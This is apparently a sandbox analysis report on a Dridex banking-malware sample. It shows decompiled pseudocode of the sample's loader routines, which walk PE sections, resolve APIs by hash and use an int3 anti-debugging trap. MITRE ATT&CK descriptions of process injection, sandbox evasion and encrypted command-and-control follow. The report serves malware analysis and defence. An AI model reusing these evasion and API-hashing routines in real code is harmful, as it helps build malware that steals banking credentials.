								_t241 =  *((intOrPtr*)( *((intOrPtr*)(_t510 +  *_t535 + 0x1c)) +  *_t535 + ( *_t373 & 0x0000ffff) * 4));
								__eflags = _t241 - _t510;
								if(_t241 < _t510) {
									L57:
									_t471 =  *_t535 + _t241;
									__eflags = _t471;
									 *_t535 = _t471;
									_t535[0x2c] = _t471;
									L58:
									__eflags =  *_t535;
									if( *_t535 == 0) {
										goto L78;
									}
									__eflags =  *0x728bd2ec |  *0x728bd2ed;
									if(( *0x728bd2ec |  *0x728bd2ed) == 0) {
										_t525 =  *0x728bd208; // 0x4631340
										__eflags = _t525;
										if(_t525 == 0) {
											 *0x728bd2ec = 1;
											_t526 = E728B3558(0x1c4);
											__eflags = _t526;
											if(_t526 == 0) {
												_t526 = 0;
												__eflags = 0;
											} else {
												E728B1CCC(_t526, 0x10);
												 *(_t526 + 0x1c0) = 0;
											}
											 *0x728bd208 = _t526;
											 *0x728bd2ec = 0;
											L68:
											_t246 = 0;
											_t472 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *(_t472 + _t526 + 8);
												if( *(_t472 + _t526 + 8) == 0) {
													break;
												}
												_t246 = _t246 + 1;
												_t472 = _t472 + 0x1c;
												__eflags = _t246 - 0x10;
												if(_t246 < 0x10) {
													continue;
												}
												_t375 = E728B3558(0x1c4);
												__eflags = _t375;
												if(_t375 == 0) {
													_t375 = 0;
													__eflags = 0;
												} else {
													E728B1CCC(_t375, 0x10);
													 *(_t375 + 0x1c0) = 0;
												}
												 *(_t375 + 0x14) = _t535[0x2c];
												E728AE070(_t375,  &(_t535[0x58]));
												 *(_t375 + 8) = _t535[0x54];
												 *(_t526 + 0x1c0) = _t375;
												L76:
												 *_t535 = _t535[0x2c];
												goto L78;
											}
											_t527 = _t526 + _t472;
											__eflags = _t527;
											 *((intOrPtr*)(_t527 + 0x14)) =  *((intOrPtr*)( &(_t535[0x58]) - 0x2c));
											E728AE070(_t527,  &(_t535[0x58]));
											 *(_t527 + 8) = _t535[0x54];
											goto L76;
										}
										_t257 =  *(_t525 + 0x1c0);
										while(1) {
											__eflags = _t257;
											if(_t257 == 0) {
												goto L68;
											}
											_t526 = _t257;
											_t257 =  *(_t257 + 0x1c0);
										}
										goto L68;
									}
									__eflags = _t535[0x54] - 0xd926c223;
									if(_t535[0x54] == 0xd926c223) {
										 *0x728bd20c =  *_t535;
									} else {
										__eflags = _t535[0x54] - 0x80febacc;
										if(_t535[0x54] == 0x80febacc) {
											 *0x728bd210 =  *_t535;
										}
									}
									goto L78;
								}
								__eflags = _t241 - _t535[0x130];
								if(_t241 >= _t535[0x130]) {
									goto L57;
								}
								_t535[0x130] =  &(_t535[0x58]);
								_t261 = E728AE94C( &(_t535[0x58]), 0x7fffffff);
								_t477 =  &(_t535[0x12c]);
								 *_t477 = _t261;
								_t477[2] = _t261 + 1;
								_t395 = E728B2F94(0xa5eabdf8, 0x9766f056, 0xa5eabdf8, 0xa5eabdf8);
								__eflags = _t395;
								if(_t395 != 0) {
									_t202 =  &(_t535[0x12c]); // 0x100
									 *_t395(_t535[0xc], _t202, 0,  &(_t535[0x2c]));
								}
								 *_t535 = _t535[0x2c];
								goto L58;
							}
							goto L50;
						} else {
							goto L48;
						}
						do {
							L48:
							_t467 = _t467 + 1;
							_t270 =  *((intOrPtr*)(_t467 + _t387));
							_t535[_t467 + 0x58] = _t270;
						} while (_t270 != 0);
						goto L49;
						L50:
						_t524 = _t524 + 4;
						_t396 =  &(_t535[0x12c]);
						_t373 =  &(_t373[1]);
						_t269 =  *_t396 + 1;
						 *_t396 = _t269;
					} while (_t269 <  *((intOrPtr*)(_t510 +  *_t535 + 0x18)));
					goto L77;
				} else {
					_t535[0x30] = 0;
					 *0x728bd2e4 = 1;
					E728AF620( &(_t535[0x38]), 0);
					E728AF620( &(_t535[0x168]), 0x1c);
					_t535[0x58] = E728AF558( &(_t535[0x168]), 0);
					_t400 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0xc));
					_t535[0x48] =  *(_t400 + 0xc);
					_t535[0x60] =  *(_t400 + 0x10);
					goto L5;
					L6:
					_t384 = 0;
					do {
						if(( *(_t529 + 0x24) & 0x20000000) == 0) {
							goto L13;
						}
						_t513 =  *((intOrPtr*)(_t529 + 0xc)) + _t535[0x58] +  *((intOrPtr*)(_t529 + 8));
						_t496 = E728B2F94(0xa5eabdf8, 0x22dc1034, _t279, _t279);
						if(_t496 == 0) {
							L10:
							_t456 = _t535[0x50];
							_t497 =  *((intOrPtr*)(_t529 + 0xc));
							_t498 = _t497 + _t456;
							_t500 =  *((intOrPtr*)(_t529 + 8));
							_t535[0x28] = _t498;
							_t499 = _t498 + _t500;
							_t363 =  *(_t535[0x58]) - _t456 - _t497 - _t500 -  *((intOrPtr*)(_t535[0x58] + 0xc));
							_t535[0x24] = _t529;
							_t535[0x20] =  *(_t535[0x48] + 0x30);
							if((_t499 & 0x00000003) == 0) {
								L12:
								_t535[0x1c] = _t363;
								_t535[0x18] = _t499;
								E728AF8C4( &(_t535[0xc]), E728AF568( &(_t535[8])) + 0x14);
								_t369 = E728AF558( &(_t535[0xc]), E728AF568( &(_t535[8])) + 0xffffffec);
								_t462 = 5;
								_t279 = memcpy(_t369,  &(_t535[0x18]), _t462 << 2);
								_t535 =  &(_t535[0xc]);
								_t535[4] = _t535[4] + 1;
								goto L13;
							} else {
								goto L11;
							}
							do {
								L11:
								_t499 = _t499 + 1;
								_t363 = _t363 - 1;
							} while ((_t499 & 0x00000003) != 0);
							goto L12;
						}
						_t279 =  *_t496(0xffffffff, _t513, 0, _t535[0x60], 0x1c, 0);
						if(0 < 0) {
							goto L13;
						}
						goto L10;
						L13:
						_t384 = _t384 + 1;
						_t529 = _t529 + 0x28;
					} while (_t384 < _t535[0x5c]);
					L14:
					_t280 = _t535[4];
					_t535[0x44] = _t280;
					if(_t280 <= 1) {
						L21:
						if(_t535[0x44] <= 0) {
							L24:
							_t281 = _t535[0x48];
							_t556 = _t281 - _t535[0x60];
							if(_t281 != _t535[0x60]) {
								_t535[0x48] =  *_t281;
								E728AF6F0( &(_t535[8]));
								L5:
								_t277 =  *(_t535[0x48] + 0x18);
								_t535[0x50] = _t277;
								_t535[4] = 0;
								_t379 =  *((intOrPtr*)(_t277 + 0x3c)) + _t277;
								E728AF620( &(_t535[0xc]), 0);
								_t279 =  *(_t379 + 6) & 0x0000ffff;
								_t535[0x5c] = _t279;
								_t529 = _t379 + ( *(_t379 + 0x14) & 0x0000ffff) + 0x18;
								if(_t279 <= 0) {
									goto L14;
								}
								goto L6;
							}
							E728AF6F0( &(_t535[8]));
							E728AF6F0( &(_t535[0x164]));
							E728AF620( &(_t535[0x48]), 0);
							_t535[0x18] = 0;
							E728AF620( &(_t535[0x20]), 0);
							_push(0xa5eabdf8);
							_t289 = E728B1DD0(0xa5eabdf8);
							_t290 = E728B1388( &(_t535[0x154]), _t517, _t556);
							_push(_t290);
							_push(_t290);
							E728B1D08( &(_t535[0x164]), 0xa5eabdf8);
							_t518 =  &(_t535[0x178]);
							E728AD0D0( &(_t535[0x178]) - 0x24,  &(_t535[0x178]), _t535[0x15c]);
							_push(0x80);
							_push(0);
							E728B5C40( &(_t535[0x114]), _t556, _t535[0x184], 1);
							E728B5C74( &(_t535[0x180]) - 0x7c, _t556,  &(_t535[0x180]), 0);
							_push(_t289);
							E728B8D74( &(_t535[0xe4]),  &(_t535[0x180]), 2);
							E728AF6F0( &(_t535[0x180]));
							_t557 = _t535[0x114];
							if(_t535[0x114] != 0) {
								E728ABC00( &(_t535[0x110]));
							}
							E728AD098( &(_t535[0x104]));
							E728AD098(_t518);
							E728AD098( &(_t535[0x15c]));
							E728AD098( &(_t535[0x154]));
							E728B9058( &(_t535[0xdc]), 0xffffffff);
							_t535[0x118] = _t535[0xf0];
							E728AF6B4( &(_t535[0x11c]), _t557,  &(_t535[0xf4]));
							_push(1);
							E728B901C( &(_t535[0x11c]));
							_t381 = 0;
							_t535[0x64] = 0;
							_t535[0x60] = 0;
							do {
								_t535[0x58] = E728AF558( &(_t535[0x38]), _t535[0x60]);
								_t535[0x70] = E728AF568( &(_t535[0x44]));
								_t519 =  *(0x728bbce0 + _t381 * 4);
								_t531 = E728B8FE8( &(_t535[0xf4]), _t519, _t519);
								if(_t531 == 0) {
									goto L42;
								}
								_t508 = E728B8754( &(_t535[0x11c]), _t519,  *_t531);
								_t532 =  *_t531;
								while(_t532 ==  *_t508) {
									_t508 = _t508 + 8;
									__eflags = _t508;
								}
								_t315 =  *_t508;
								_t535[0x74] = _t315;
								_t535[0x78] = _t315 - _t532;
								if(_t381 != 0) {
									L38:
									_t535[0x68] = E728AF568( &(_t535[0x44]));
									_t535[0x6c] = _t519;
									E728AF578( &(_t535[0x4c]), _t562, _t532, _t535[0x78]);
									_t319 = E728AF568( &(_t535[0x44]));
									_t487 = _t535[0x58];
									_t563 = _t319 -  *((intOrPtr*)(_t487 + 4));
									if(_t319 <=  *((intOrPtr*)(_t487 + 4))) {
										E728AF8C4( &(_t535[0x20]), E728AF568( &(_t535[0x1c])) + 8);
										E728AF558( &(_t535[0x20]), E728AF568( &(_t535[0x1c])) + 0xfffffff8);
										asm("movsd");
										asm("movsd");
										_t535[0x18] = _t535[0x18] + 1;
										__eflags = _t381 - 0x1d;
										if(__eflags == 0) {
											_t228 =  &(_t535[0x44]); // 0x2c
											E728B30A4(_t535[0x58], _t228, __eflags,  &(_t535[0x18]));
										}
										goto L42;
									}
									E728AF8C4( &(_t535[0x48]), _t535[0x70]);
									E728B30A4(_t535[0x58],  &(_t535[0x44]), _t563,  &(_t535[0x18]));
									E728AF8DC( &(_t535[0x44]), _t563);
									E728AF8DC( &(_t535[0x1c]), _t563);
									_t381 = _t381 - 1;
									_t334 = _t535[0x64] + 1;
									_t535[0x60] = _t535[0x60] + 0x14;
									_t535[0x18] = 0;
									_t535[0x64] = _t334;
									if(_t334 == _t535[0x30]) {
										break;
									}
									goto L42;
								}
								E728B90A8( &(_t535[0x134]), _t519);
								_t535[0x5c] = _t532;
								while(1) {
									_t336 = _t535[0x5c];
									_t562 =  *_t336 - 0xb8;
									if( *_t336 == 0xb8) {
										break;
									}
									_t490 = _t535[0x5c] + E728B9070( &(_t535[0x138]), __eflags, _t535[0x74]);
									_t535[0x5c] = _t490;
									__eflags = _t490 -  *_t508;
									if(__eflags < 0) {
										continue;
									}
									L37:
									E728AF6F0( &(_t535[0x144]));
									E728AF6F0( &(_t535[0x134]));
									goto L38;
								}
								 *0x728bd2e8 =  *((intOrPtr*)(_t336 + 1));
								goto L37;
								L42:
								_t381 = _t381 + 1;
							} while (_t381 < 0x1e);
							E728AF6F0( &(_t535[0x11c]));
							E728B8DD4(_t381,  &(_t535[0xd8]));
							E728AF6F0( &(_t535[0x1c]));
							E728AF6F0( &(_t535[0x44]));
							E728AF6F0( &(_t535[0x34]));
							goto L44;
						}
						_t533 = 0;
						_t382 = 0;
						do {
							_t341 = E728AF558( &(_t535[0xc]), _t382);
							_t517 = _t341;
							E728AF8C4( &(_t535[0x38]), E728AF568( &(_t535[0x34])) + 0x14);
							_t347 = E728AF558( &(_t535[0x38]), E728AF568( &(_t535[0x34])) + 0xffffffec);
							_t451 = 5;
							memcpy(_t347, _t341, _t451 << 2);
							_t535 =  &(_t535[0xc]);
							_t533 = _t533 + 1;
							_t382 = _t382 + 0x14;
							_t535[0x30] = _t535[0x30] + 1;
						} while (_t533 < _t535[0x44]);
						goto L24;
					}
					_t535[0x4c] = 1;
					_t534 = 0x14;
					do {
						_t62 = _t534 - 0x14; // 0x0
						_t383 = E728AF558( &(_t535[0xc]), _t62);
						_t455 = E728AF558( &(_t535[0xc]), _t534);
						_t517 =  *_t383;
						_t352 =  *_t455;
						if(_t352 >= _t517 && _t352 <= _t383[1] + _t517) {
							_t383[1] =  *((intOrPtr*)(_t455 + 0x10)) - _t517;
						}
						_t534 = _t534 + 0x14;
						_t354 = _t535[0x4c] + 1;
						_t535[0x4c] = _t354;
					} while (_t354 < _t535[0x44]);
					_t535[0x44] = _t535[4];
					goto L21;
				}
			}

0x728b14e4
0x728b14eb
0x728b14ee
0x728b14f5
0x728b1c77
0x728b1c77
0x728b14fb
0x728b1506
0x728b1a45
0x728b1a49
0x00000000
0x728b1cc8
0x728b1a4f
0x728b1a52
0x728b1a55
0x728b1a5f
0x728b1a6e
0x728b1a70
0x728b1a77
0x728b1c61
0x728b1c63
0x728b1c66
0x728b1c6a
0x00000000
0x728b1c6a
0x728b1a86
0x728b1a91
0x728b1a98
0x728b1a9b
0x728b1a9d
0x728b1aa0
0x728b1aa3
0x728b1aa9
0x728b1ab7
0x728b1ac7
0x728b1aec
0x728b1afd
0x728b1b00
0x728b1b02
0x728b1b66
0x728b1b69
0x728b1b69
0x728b1b6b
0x728b1b6e
0x728b1b72
0x728b1b72
0x728b1b76
0x00000000
0x00000000
0x728b1b83
0x728b1b89
0x728b1bbd
0x728b1bc3
0x728b1bc5
0x728b1c94
0x728b1c9c
0x728b1c9f
0x728b1ca1
0x728b1cb8
0x728b1cb8
0x728b1ca3
0x728b1ca7
0x728b1cac
0x728b1cac
0x728b1cba
0x728b1cc0
0x728b1bdf
0x728b1bdf
0x728b1be1
0x728b1be1
0x728b1be3
0x728b1be3
0x728b1be8
0x00000000
0x00000000
0x728b1bea
0x728b1beb
0x728b1bee
0x728b1bf1
0x00000000
0x00000000
0x728b1bfd
0x728b1c00
0x728b1c02
0x728b1c19
0x728b1c19
0x728b1c04
0x728b1c08
0x728b1c0d
0x728b1c0d
0x728b1c26
0x728b1c29
0x728b1c32
0x728b1c35
0x728b1c58
0x728b1c5c
0x00000000
0x728b1c5c
0x728b1c3d
0x728b1c3d
0x728b1c49
0x728b1c4c
0x728b1c55
0x00000000
0x728b1c55
0x728b1bcb
0x728b1bdb
0x728b1bdb
0x728b1bdd
0x00000000
0x00000000
0x728b1bd3
0x728b1bd5
0x728b1bd5
0x00000000
0x728b1bdb
0x728b1b8b
0x728b1b93
0x728b1bb3
0x728b1b95
0x728b1b95
0x728b1b9d
0x728b1ba6
0x728b1ba6
0x728b1b9d
0x00000000
0x728b1b93
0x728b1b04
0x728b1b0b
0x00000000
0x00000000
0x728b1b18
0x728b1b1e
0x728b1b23
0x728b1b2a
0x728b1b2e
0x728b1b43
0x728b1b45
0x728b1b47
0x728b1b4d
0x728b1b5b
0x728b1b5b
0x728b1b61
0x00000000
0x728b1b61
0x00000000
0x00000000
0x00000000
0x00000000
0x728b1aab
0x728b1aab
0x728b1aab
0x728b1aac
0x728b1aaf
0x728b1ab3
0x00000000
0x728b1ac9
0x728b1acc
0x728b1acf
0x728b1ad8
0x728b1adb
0x728b1adc
0x728b1ade
0x00000000
0x728b1519
0x728b151b
0x728b1520
0x728b152b
0x728b1539
0x728b154c
0x728b1559
0x728b1562
0x728b1566
0x728b156a
0x728b15b2
0x728b15b2
0x728b15b4
0x728b15bb
0x00000000
0x00000000
0x728b15d4
0x728b15dc
0x728b15e0
0x728b15f5
0x728b15f9
0x728b15fd
0x728b1606
0x728b160c
0x728b160f
0x728b1613
0x728b161b
0x728b161d
0x728b1621
0x728b1628
0x728b1631
0x728b1631
0x728b1635
0x728b164a
0x728b1660
0x728b166d
0x728b166e
0x728b166e
0x728b1670
0x00000000
0x00000000
0x00000000
0x00000000
0x728b162a
0x728b162a
0x728b162a
0x728b162b
0x728b162c
0x00000000
0x728b162a
0x728b15ef
0x728b15f3
0x00000000
0x00000000
0x00000000
0x728b1674
0x728b1674
0x728b1675
0x728b1678
0x728b1682
0x728b1682
0x728b1686
0x728b168d
0x728b16e8
0x728b16ed
0x728b1740
0x728b1740
0x728b1744
0x728b1748
0x728b1572
0x728b1575
0x728b157a
0x728b1580
0x728b1583
0x728b158a
0x728b158e
0x728b1595
0x728b159e
0x728b15a2
0x728b15a6
0x728b15ac
0x00000000
0x00000000
0x00000000
0x728b15ac
0x728b1752
0x728b175e
0x728b1769
0x728b1770
0x728b1779
0x728b1783
0x728b1784
0x728b1792
0x728b1797
0x728b1798
0x728b17a5
0x728b17aa
0x728b17bc
0x728b17c1
0x728b17c6
0x728b17d8
0x728b17ea
0x728b17ef
0x728b17fa
0x728b1801
0x728b1806
0x728b180e
0x728b1817
0x728b1817
0x728b1823
0x728b182a
0x728b1836
0x728b1842
0x728b1850
0x728b1861
0x728b1868
0x728b186d
0x728b1876
0x728b187b
0x728b187d
0x728b1881
0x728b1885
0x728b1892
0x728b189f
0x728b18a3
0x728b18b7
0x728b18bb
0x00000000
0x00000000
0x728b18d0
0x728b18d2
0x728b18da
0x728b18d7
0x728b18d7
0x728b18d7
0x728b18de
0x728b18e0
0x728b18e6
0x728b18ec
0x728b1948
0x728b1951
0x728b1955
0x728b1962
0x728b196b
0x728b1970
0x728b1974
0x728b1977
0x728b19d8
0x728b19ee
0x728b19f9
0x728b19fa
0x728b19fb
0x728b19ff
0x728b1a02
0x728b1c82
0x728b1c85
0x728b1c85
0x00000000
0x728b1a02
0x728b1981
0x728b1991
0x728b199a
0x728b19a3
0x728b19ac
0x728b19ad
0x728b19ae
0x728b19b3
0x728b19bb
0x728b19c3
0x00000000
0x00000000
0x00000000
0x728b19c5
0x728b18f5
0x728b18fa
0x728b18fe
0x728b18fe
0x728b1902
0x728b1905
0x00000000
0x00000000
0x728b1926
0x728b1928
0x728b192c
0x728b192e
0x00000000
0x00000000
0x728b1930
0x728b1937
0x728b1943
0x00000000
0x728b1943
0x728b190a
0x00000000
0x728b1a08
0x728b1a08
0x728b1a09
0x728b1a19
0x728b1a25
0x728b1a2e
0x728b1a37
0x728b1a40
0x00000000
0x728b1a40
0x728b16ef
0x728b16f1
0x728b16f3
0x728b16f8
0x728b16fd
0x728b1710
0x728b1726
0x728b172f
0x728b1730
0x728b1730
0x728b1732
0x728b1733
0x728b1736
0x728b173a
0x00000000
0x728b16f3
0x728b168f
0x728b1699
0x728b169a
0x728b169a
0x728b16a7
0x728b16b3
0x728b16b5
0x728b16b7
0x728b16bb
0x728b16cb
0x728b16cb
0x728b16d2
0x728b16d5
0x728b16d6
0x728b16da
0x728b16e4
0x00000000
0x728b16e4

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eed1b9ca798be58053961c5b2ca5be8ac2d70f59e245e4bfff9aa20763ee3801
Instruction ID: 4ba1f6d0ce4bcda3bafe871416785417fb0171f4e8052ba35632710ae0c5b925
Opcode Fuzzy Hash: eed1b9ca798be58053961c5b2ca5be8ac2d70f59e245e4bfff9aa20763ee3801
Instruction Fuzzy Hash: 8A329E745083449FD714DF2CC890B9EBBF2AF95300F10892DE59A8B3A1EB76E945CB52

Uniqueness

Uniqueness Score: -1.00%

Function 728A6DC8, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E728A6DC8() {

				 *0x728bd280 = GetUserNameW;
				 *0x728BD284 = MessageBoxW;
				 *0x728BD288 = GetLastError;
				 *0x728BD28C = CreateFileA;
				 *0x728BD290 = DebugBreak;
				 *0x728BD294 = FlushFileBuffers;
				 *0x728BD298 = FreeEnvironmentStringsA;
				 *0x728BD29C = GetConsoleOutputCP;
				 *0x728BD2A0 = GetEnvironmentStrings;
				 *0x728BD2A4 = GetLocaleInfoA;
				 *0x728BD2A8 = GetStartupInfoA;
				 *0x728BD2AC = GetStringTypeA;
				 *0x728BD2B0 = HeapValidate;
				 *0x728BD2B4 = IsBadReadPtr;
				 *0x728BD2B8 = LCMapStringA;
				 *0x728BD2BC = LoadLibraryA;
				 *0x728BD2C0 = OutputDebugStringA;
				return 0x728bd280;
			}

0x728a6dd9
0x728a6de1
0x728a6de4
0x728a6df3
0x728a6df6
0x728a6e05
0x728a6e08
0x728a6e17
0x728a6e1a
0x728a6e29
0x728a6e2c
0x728a6e3b
0x728a6e3e
0x728a6e4d
0x728a6e50
0x728a6e5f
0x728a6e62
0x728a6e65

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8e24f8209f8cb6831ab7e2c0b8959db4bd2d902163c352965e1e4ec99af2748
Instruction ID: 23506f0c6e07dad5f3be7e74c7391722c584ddb44bb7a5257ad31784ab059b1b
Opcode Fuzzy Hash: a8e24f8209f8cb6831ab7e2c0b8959db4bd2d902163c352965e1e4ec99af2748
Instruction Fuzzy Hash: 1211E0B9A95700DF835ACF0BD190A517BF2BB8C31072189AED8098F3A5D736E846CF54

Uniqueness

Uniqueness Score: -1.00%

Function 728ABC00, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E728ABC00(intOrPtr* __ecx) {
				void* _t1;
				intOrPtr* _t4;

				_t4 = __ecx;
				_t1 = E728AC33C(__ecx);
				if(_t1 != 0) {
					L4:
					return _t1;
				} else {
					_t1 = E728B2F8C(0xa5eabdf8, 0x2c2324e8);
					if(_t1 == 0) {
						 *_t4 = 0;
						goto L4;
					} else {
						_push( *_t4);
						asm("int3");
						return _t1;
					}
				}
			}

0x728abc01
0x728abc03
0x728abc0a
0x728abc29
0x728abc2a
0x728abc0c
0x728abc16
0x728abc1d
0x728abc23
0x00000000
0x728abc1f
0x728abc1f
0x728abc21
0x728abc22
0x728abc22
0x728abc1d

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 229d0e70dd984517c4ff88a566391a3803afd3012da0cf9cedecb5fa3dd55369
Instruction ID: 42688cf9228f5dc8d3a6f71ff5df5c5bf9f3cb09847646c8dc0c04767f4001fe
Opcode Fuzzy Hash: 229d0e70dd984517c4ff88a566391a3803afd3012da0cf9cedecb5fa3dd55369
Instruction Fuzzy Hash: B2D0227A000142A2EF11273CFE00F04EBBB4FD1200F14081A54002B34ACFBB80030020

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report CTkT1fRtQv

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Dridex

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

